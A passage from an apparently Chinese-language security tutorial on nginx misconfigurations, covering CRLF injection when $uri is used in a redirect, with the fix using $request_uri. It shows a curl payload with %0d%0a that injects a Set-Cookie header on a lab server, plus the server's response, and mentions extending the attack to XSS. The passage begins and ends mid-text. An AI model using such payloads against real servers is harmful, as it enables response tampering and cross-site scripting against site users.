nginx常见漏洞解析_nginx漏洞，字节跳动+腾讯+华为+小米+阿里面试题分享

}
#因为$uri是解码以后的请求路径，所以可能就会包含换行符，也就造成了一个CRLF注入漏洞。

解释一下，1和2表示的是解码以后的请求路径，不带参数；3表示的是完整的URI（没有解码）。那么，如果运维配置了下列的代码：

location / {
return 302 https://$host$uri;
}
#因为$uri是解码以后的请求路径，所以可能就会包含换行符，也就造成了一个CRLF注入漏洞。

因为**$uri**和**$document_uri**是解码以后的请求路径，所以可能就会包含换行符，也就造成了一个CRLF注入漏洞。

1.1利用方式：

我们在请求的过程中发送一个带有%0d%0a编码的请求：

#请求内容
curl -I http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1
#测试结果
[root@blackstone insecure-configuration]# curl -I http://192.168.2.169:8080/%0d%0aSet-Cookie:%20a=1
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.13.0
Date: Thu, 12 Jan 2023 12:18:16 GMT
Content-Type: text/html
Content-Length: 161
Connection: keep-alive
Location: http://192.168.2.169:8080/
Set-Cookie: a=1

我们通过上述手段对请求进行了修改，利用此漏洞可以看到返回了一个set-cookie，也就是说错误的使用$uri配置会是用户的请求被黑客悄无声息的篡改掉。

我们使用burp抓包可以看到另一种可能性：在我们发送两个连续的换行\r\n后，可以直接修改返回报文的返回体。插入js代码引发xss。

1.2修改方案：

在获取用户的请求路径时，配置文件内出现的配置应当是**$request_uri**,例如：

location / {
return 302 https://$host$request_uri;
}

因为**$request_uri和上边1和2相反，表示的是完整的uri并不会解码。**

另外，由$uri导致的CRLF注入漏洞不仅可能出现在上述两个场景中，理论上，只要是可以设置HTTP头的场景都会出现这个问题。

测试一下效果：

#1.编辑配置文件，投放进docker
[root@blackstone configuration]# cat fix1.conf
server {
listen 8080;

root /usr/share/nginx/html;

index index.html;

server_name _;

location / {
return 302 http://$host:$server_port$request_uri;
}
}

#2.将配置文件放到特定目录，重启nginx
[root@blackstone configuration]# docker exec -it fa2e43aabeec /bin/bash
root@fa2e43aabeec:/# cp fix1.conf /etc/nginx/conf.d/
root@fa2e43aabeec:/# rm -f /etc/nginx/conf.d/error1.conf
root@fa2e43aabeec:/etc/nginx/conf.d# ng